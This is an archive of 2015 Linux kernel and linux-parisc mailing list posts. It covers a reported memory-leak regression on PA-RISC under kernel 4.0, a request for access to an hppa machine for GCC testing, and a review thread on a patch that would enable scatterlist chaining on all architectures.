Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1429991143 15640 80.91.229.3 (25 Apr 2015 19:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Apr 2015 19:45:43 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	Linux Kernel list <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Apr 25 21:45:36 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Ym617-0001Xq-0I
	for glk-linux-kernel-3@plane.gmane.org; Sat, 25 Apr 2015 21:45:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751517AbbDYTpa (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 25 Apr 2015 15:45:30 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:50613 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751179AbbDYTp2 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sat, 25 Apr 2015 15:45:28 -0400
X-Greylist: delayed 1696 seconds by postgrey-1.27 at vger.kernel.org; Sat, 25 Apr 2015 15:45:27 EDT
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 2EAA1919EB;
	Sat, 25 Apr 2015 22:17:08 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 1AC67221359; Sat, 25 Apr 2015 22:19:13 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 03C27220C49;
	Sat, 25 Apr 2015 22:19:12 +0300 (EEST)
User-Agent: Alpine 2.11 (LRH 23 2013-08-11)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1938085 gmane.linux.ports.parisc:25704
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1938085>

I noticed that with 4.0 I'm running out of memory on HP A500 (1G RAM) 
and HP RP3410 (2G RAM) parisc machines during gentoo "revdep-rebuild 
-ip". Each time free shows less free memory until OOM killer visits us 
(and first revdep-rebuild after nontrivial emerge compilation loop kills 
the smaller box).

3.19 did not seem to have this problem.

Nothing in the dmesg besides OOM killer activating.

I reran it, leaving cat /prov/vmstat, cat /proc/meminfo and slabtop -o 
running in loop (each 5 s). revdep-rebuild -ip was also running in 
the loop, just checking the binaries and library linking info.

The results are at

http://kodu.ut.ee/~mroos/slabtop-log
http://kodu.ut.ee/~mroos/meminfo-log
http://kodu.ut.ee/~mroos/vmstat-log

Anything else I can provide to pinpoint it?

-- 
Meelis Roos (mroos@linux.ee)

From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 4.0 parisc regression: memory leak?
Date: Sat, 25 Apr 2015 16:24:54 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <BLU436-SMTP4216889F17566B576C67B197EB0@phx.gbl>
References: <alpine.LRH.2.11.1504242317450.14818@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1429993514 18909 80.91.229.3 (25 Apr 2015 20:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 25 Apr 2015 20:25:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel list <linux-kernel@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 25 22:25:05 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ym6dI-0000YS-Mi
	for glpp-linux-parisc@plane.gmane.org; Sat, 25 Apr 2015 22:25:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752028AbbDYUY6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 25 Apr 2015 16:24:58 -0400
Original-Received: from blu004-omc4s32.hotmail.com ([65.55.111.171]:63604 "EHLO
	BLU004-OMC4S32.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751668AbbDYUY5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 25 Apr 2015 16:24:57 -0400
Original-Received: from BLU436-SMTP42 ([65.55.111.137]) by BLU004-OMC4S32.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Sat, 25 Apr 2015 13:24:57 -0700
X-TMN: [oXxC04NLAN5wHFQa57aCHSTFTlMZT9Yp]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <alpine.LRH.2.11.1504242317450.14818@math.ut.ee>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 25 Apr 2015 20:24:56.0173 (UTC) FILETIME=[E4F301D0:01D07F95]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25705 gmane.linux.kernel:1938090
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25705>

On 2015-04-25, at 3:19 PM, Meelis Roos wrote:

> I noticed that with 4.0 I'm running out of memory on HP A500 (1G RAM) 
> and HP RP3410 (2G RAM) parisc machines during gentoo "revdep-rebuild 
> -ip". Each time free shows less free memory until OOM killer visits us 
> (and first revdep-rebuild after nontrivial emerge compilation loop kills 
> the smaller box).

I've also had problems with 4.0.  I had HPMC after a few hours on rp3440.

> 
> 3.19 did not seem to have this problem.

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 4.0 parisc regression: memory leak?
Date: Sun, 26 Apr 2015 10:01:46 +0300 (EEST)
Lines: 13
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.11.1504261001001.1468@math.ut.ee>
References: <alpine.LRH.2.11.1504242317450.14818@math.ut.ee> <BLU436-SMTP4216889F17566B576C67B197EB0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1430031597 13781 80.91.229.3 (26 Apr 2015 06:59:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 26 Apr 2015 06:59:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel list <linux-kernel@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Apr 26 08:59:55 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YmGXf-00016T-AJ
	for glk-linux-kernel-3@plane.gmane.org; Sun, 26 Apr 2015 08:59:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751496AbbDZG7p (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 26 Apr 2015 02:59:45 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:49394 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751157AbbDZG7o (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 26 Apr 2015 02:59:44 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id E8ACE9249D;
	Sun, 26 Apr 2015 09:59:40 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 62E812210E8; Sun, 26 Apr 2015 10:01:46 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 3FE3122101F;
	Sun, 26 Apr 2015 10:01:46 +0300 (EEST)
In-Reply-To: <BLU436-SMTP4216889F17566B576C67B197EB0@phx.gbl>
User-Agent: Alpine 2.11 (LRH 23 2013-08-11)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1938127 gmane.linux.ports.parisc:25706
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1938127>

> > I noticed that with 4.0 I'm running out of memory on HP A500 (1G RAM) 
> > and HP RP3410 (2G RAM) parisc machines during gentoo "revdep-rebuild 
> > -ip". Each time free shows less free memory until OOM killer visits us 
> > (and first revdep-rebuild after nontrivial emerge compilation loop kills 
> > the smaller box).
> 
> I've also had problems with 4.0.  I had HPMC after a few hours on rp3440.

My rp3440 worked fine for emerge world - maybe an hour or some hours. 
Because of 12G RAM, it did not run out of memory.

-- 
Meelis Roos (mroos@linux.ee)

From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyrill Tkachov <kyrylo.tkachov@arm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Access to 64-bit hppa machine for GCC development
Date: Mon, 27 Apr 2015 15:11:27 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <553E438F.8080402@arm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1430143909 9938 80.91.229.3 (27 Apr 2015 14:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Apr 2015 14:11:49 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 27 16:11:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ymjl7-0008NR-Tj
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Apr 2015 16:11:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751336AbbD0OLk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Apr 2015 10:11:40 -0400
Original-Received: from eu-smtp-delivery-143.mimecast.com ([146.101.78.143]:27040 "EHLO
	eu-smtp-delivery-143.mimecast.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751952AbbD0OLj convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Apr 2015 10:11:39 -0400
Original-Received: from cam-owa2.Emea.Arm.com (fw-tnat.cambridge.arm.com
 [217.140.96.140]) by uk-mta-9.uk.mimecast.lan; Mon, 27 Apr 2015 15:11:36
 +0100
Original-Received: from [10.2.207.50] ([10.1.2.79]) by cam-owa2.Emea.Arm.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Mon, 27 Apr 2015 15:11:27 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.2.0
X-OriginalArrivalTime: 27 Apr 2015 14:11:27.0383 (UTC) FILETIME=[0D188270:01D080F4]
X-MC-Unique: F1yl3ZFKTgaudT28fuFpCA-1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25707>

Hello,

I'm working on FSF GCC and I have a patch that I may have to iterate over with the community
that may affect GCC for 64-bit hppa.

John David Anglin mentioned that I can apply for an account on a Debian parisc linux machine
to test GCC patches. Is it possible for me to get one?
I would use it to test patches for FSF GCC and would therefore need
the prerequisites for building GCC installed on that machine.

Thanks in advance,
Kyrill

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Access to 64-bit hppa machine for GCC development
Date: Mon, 27 Apr 2015 15:26:20 +0000 (UTC)
Lines: 24
Approved: news@gmane.org
Message-ID: <loom.20150427T172325-520@post.gmane.org>
References: <553E438F.8080402@arm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1430148423 30035 80.91.229.3 (27 Apr 2015 15:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Apr 2015 15:27:03 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 27 17:26:55 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ymkvl-0000hL-MU
	for glpp-linux-parisc@plane.gmane.org; Mon, 27 Apr 2015 17:26:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751202AbbD0P0p (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 27 Apr 2015 11:26:45 -0400
Original-Received: from plane.gmane.org ([80.91.229.3]:41289 "EHLO plane.gmane.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751086AbbD0P0o (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 27 Apr 2015 11:26:44 -0400
Original-Received: from list by plane.gmane.org with local (Exim 4.69)
	(envelope-from <glpp-linux-parisc@m.gmane.org>)
	id 1Ymkvf-00016z-Vy
	for linux-parisc@vger.kernel.org; Mon, 27 Apr 2015 17:26:40 +0200
Original-Received: from proxy214.sap-ag.de ([155.56.68.214])
        by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Mon, 27 Apr 2015 17:26:39 +0200
Original-Received: from deller by proxy214.sap-ag.de with local (Gmexim 0.1 (Debian))
        id 1AlnuQ-0007hv-00
        for <linux-parisc@vger.kernel.org>; Mon, 27 Apr 2015 17:26:39 +0200
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 18
Original-X-Complaints-To: usenet@ger.gmane.org
X-Gmane-NNTP-Posting-Host: sea.gmane.org
User-Agent: Loom/3.14 (http://gmane.org/)
X-Loom-IP: 155.56.68.214 (Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25708
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25708>

Kyrill Tkachov <kyrylo.tkachov <at> arm.com> writes:
> I'm working on FSF GCC and I have a patch that I may have to iterate over
with the community
> that may affect GCC for 64-bit hppa.
> 
> John David Anglin mentioned that I can apply for an account on a Debian
parisc linux machine
> to test GCC patches. Is it possible for me to get one?
> I would use it to test patches for FSF GCC and would therefore need
> the prerequisites for building GCC installed on that machine.

Sure, I'll send you a mail with login details in a few hours....
It would be important to mention, that hppa-linux is still on 32bit
userspace only.
gcc/linux-hppa64 is currently only used to build 64bit Linux kernels.

Helge


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.scsi,gmane.linux.scsi.target.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] scatterlist: enable sg chaining for all architectures
Date: Tue, 28 Apr 2015 15:16:59 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <1430259419.2181.26.camel@HansenPartnership.com>
References: <1429973776-7499-1-git-send-email-akinobu.mita@gmail.com>
	 <20150428142743.578d1c930aca013b596d7546@linux-foundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1430259434 4861 80.91.229.3 (28 Apr 2015 22:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 28 Apr 2015 22:17:14 +0000 (UTC)
Cc: Akinobu Mita <akinobu.mita@gmail.com>,
	linux-kernel@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>,
	linux-scsi@vger.kernel.org,
	"Nicholas A. Bellinger" <nab@linux-iscsi.org>,
	target-devel@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Apr 29 00:17:06 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1YnDoO-0005wm-TZ
	for glka-linux-arch@plane.gmane.org; Wed, 29 Apr 2015 00:17:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030851AbbD1WRC (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 28 Apr 2015 18:17:02 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:34410 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1030988AbbD1WRB (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Tue, 28 Apr 2015 18:17:01 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BEA698EE1C5;
	Tue, 28 Apr 2015 15:17:00 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5ZK61ZE0E_iX; Tue, 28 Apr 2015 15:17:00 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 291BD8EE0FB;
	Tue, 28 Apr 2015 15:17:00 -0700 (PDT)
In-Reply-To: <20150428142743.578d1c930aca013b596d7546@linux-foundation.org>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:27342 gmane.linux.kernel:1940066 gmane.linux.scsi:101200 gmane.linux.scsi.target.devel:8643 gmane.linux.ports.parisc:25709
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/27342>

On Tue, 2015-04-28 at 14:27 -0700, Andrew Morton wrote:
> On Sat, 25 Apr 2015 23:56:16 +0900 Akinobu Mita <akinobu.mita@gmail.com> wrote:
> 
> > Some architectures enable sg chaining option while others do not.
> > 
> > The requirement to enable sg chaining is that pages must be aligned
> > at a 32-bit boundary in order to overload the LSB of the pointer.
> > Regardless of whether ARCH_HAS_SG_CHAIN is defined or not, the above
> > requirement is always chacked by BUG_ON() in sg_assign_page.  So
> > all architectures can enable sg chaining.
> > 
> > As you can see from the changes in drivers/target/target_core_rd.c,
> > enabling SG chaining for all architectures allows us to allocate
> > discontiguous scatterlist tables which can be traversed throughout
> > by sg_next() without a special handling for some architectures.
> 
> Thanks, I'll grab this.  If anyone has concerns, speak now or hold both
> pieces!

It breaks a host of architectures doesn't it?  I can specifically speak
for PARISC:  The problem is the way our iommus are consuming
scatterlists.  They're assuming we can dereference the scatterlist as an
array (like this code in ccio-dma.c):

static int
ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents, 
	    enum dma_data_direction direction)
[...]
	for(i = 0; i < nents; i++)
		prev_len += sglist[i].length;

If you turn on sg chaining on our architecture, we'll run off the end of
that array dereference and crash.

This can all be fixed by making our architecture dma mapping code use
iterators instead of array lists, but that needs more code than this
patch provides.  I assume there are similar issues on a lot of other
architectures, so before you can contemplate a patch like this, surely
all the architecture consumers have to be converted to iterator instead
of array format?

The first place to start would be a survey of who's still using the
array format.

James



From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Akinobu Mita <akinobu.mita@gmail.com>
Newsgroups: gmane.linux.scsi.target.devel,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: [PATCH] scatterlist: enable sg chaining for all architectures
Date: Wed, 29 Apr 2015 09:34:42 +0900
Lines: 50
Approved: news@gmane.org
Message-ID: <CAC5umyhM6s4dgJt6BQMhVihh3C8uYd+s2XEZB9UTQKK63OXxfQ@mail.gmail.com>
References: <1429973776-7499-1-git-send-email-akinobu.mita@gmail.com>
	<20150428142743.578d1c930aca013b596d7546@linux-foundation.org>
	<1430259419.2181.26.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1430267690 1867 80.91.229.3 (29 Apr 2015 00:34:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 29 Apr 2015 00:34:50 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	Christoph Hellwig <hch@lst.de>,
	"linux-scsi@vger.kernel.org" <linux-scsi@vger.kernel.org>,
	"Nicholas A. Bellinger" <nab@linux-iscsi.org>,
	target-devel@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: target-devel-owner@vger.kernel.org Wed Apr 29 02:34:49 2015
Return-path: <target-devel-owner@vger.kernel.org>
Envelope-to: glstd-target-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <target-devel-owner@vger.kernel.org>)
	id 1YnFxf-0003cW-QT
	for glstd-target-devel@plane.gmane.org; Wed, 29 Apr 2015 02:34:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1031191AbbD2Aeq (ORCPT <rfc822;glstd-target-devel@m.gmane.org>);
	Tue, 28 Apr 2015 20:34:46 -0400
Original-Received: from mail-lb0-f178.google.com ([209.85.217.178]:33786 "EHLO
	mail-lb0-f178.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1031083AbbD2Aep (ORCPT
	<rfc822;target-devel@vger.kernel.org>);
	Tue, 28 Apr 2015 20:34:45 -0400
Original-Received: by lbbzk7 with SMTP id zk7so8832411lbb.0;
        Tue, 28 Apr 2015 17:34:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=3lNCTNW0DI3eUP6cDV0/O1LpDemVfiP6rG52pNw0aJI=;
        b=zeBS8Kr6CAY6G2P049DpL7zyidlayhy6A9n+cbq1p5e5IfKutUESJVl0fMPPnaPEZT
         9gJfGMkTYW+sAgD36RwoHqEbf9V1R1c/sv+FrRbAfeblGxsOEFSAS1Jvi9OSd03Bdd2p
         eKvlCEyCwpGTc3FCUWB4WQ57z8PH5sugAREyC3pZNuEPm0uj7g3n64f/Rk4onbjTyE0U
         5oKQBLKJ3OkTVs9/Rp4ZnM9i2MtblgljoVXddi8l0YNkDRXDHg7uGhWri/cR3U+vafKX
         C0Naj2tKcgPuxrXM0EH+IVkx+SFQao662RpvltyCdwH6aqltZC/jmDv+oErI5zv9Q2Ns
         bAIQ==
X-Received: by 10.152.7.97 with SMTP id i1mr16308751laa.49.1430267682774; Tue,
 28 Apr 2015 17:34:42 -0700 (PDT)
Original-Received: by 10.152.106.3 with HTTP; Tue, 28 Apr 2015 17:34:42 -0700 (PDT)
In-Reply-To: <1430259419.2181.26.camel@HansenPartnership.com>
Original-Sender: target-devel-owner@vger.kernel.org
Precedence: bulk
List-ID: <target-devel.vger.kernel.org>
X-Mailing-List: target-devel@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi.target.devel:8646 gmane.linux.kernel:1940140 gmane.linux.kernel.cross-arch:27343 gmane.linux.scsi:101205 gmane.linux.ports.parisc:25710
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi.target.devel/8646>

2015-04-29 7:16 GMT+09:00 James Bottomley
<James.Bottomley@hansenpartnership.com>:
> On Tue, 2015-04-28 at 14:27 -0700, Andrew Morton wrote:
>> On Sat, 25 Apr 2015 23:56:16 +0900 Akinobu Mita <akinobu.mita@gmail.com> wrote:
>>
>> > Some architectures enable sg chaining option while others do not.
>> >
>> > The requirement to enable sg chaining is that pages must be aligned
>> > at a 32-bit boundary in order to overload the LSB of the pointer.
>> > Regardless of whether ARCH_HAS_SG_CHAIN is defined or not, the above
>> > requirement is always chacked by BUG_ON() in sg_assign_page.  So
>> > all architectures can enable sg chaining.
>> >
>> > As you can see from the changes in drivers/target/target_core_rd.c,
>> > enabling SG chaining for all architectures allows us to allocate
>> > discontiguous scatterlist tables which can be traversed throughout
>> > by sg_next() without a special handling for some architectures.
>>
>> Thanks, I'll grab this.  If anyone has concerns, speak now or hold both
>> pieces!
>
> It breaks a host of architectures doesn't it?  I can specifically speak
> for PARISC:  The problem is the way our iommus are consuming
> scatterlists.  They're assuming we can dereference the scatterlist as an
> array (like this code in ccio-dma.c):
>
> static int
> ccio_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
>             enum dma_data_direction direction)
> [...]
>         for(i = 0; i < nents; i++)
>                 prev_len += sglist[i].length;
>
> If you turn on sg chaining on our architecture, we'll run off the end of
> that array dereference and crash.
>
> This can all be fixed by making our architecture dma mapping code use
> iterators instead of array lists, but that needs more code than this
> patch provides.  I assume there are similar issues on a lot of other
> architectures, so before you can contemplate a patch like this, surely
> all the architecture consumers have to be converted to iterator instead
> of array format?
>
> The first place to start would be a survey of who's still using the
> array format.

Agreed.  I could find similar issues in arch/m68k/kernel/dma.c.
(git grep '[^a-z]sg++' shows that there are a lot of similar issues)

Andrew, could you drop this patch from -mm for now?

From - Thu Nov 08 21:37:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.scsi,gmane.linux.scsi.target.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] scatterlist: enable sg chaining for all architectures
Date: Tue, 28 Apr 2015 19:15:46 -0700
Lines: 66
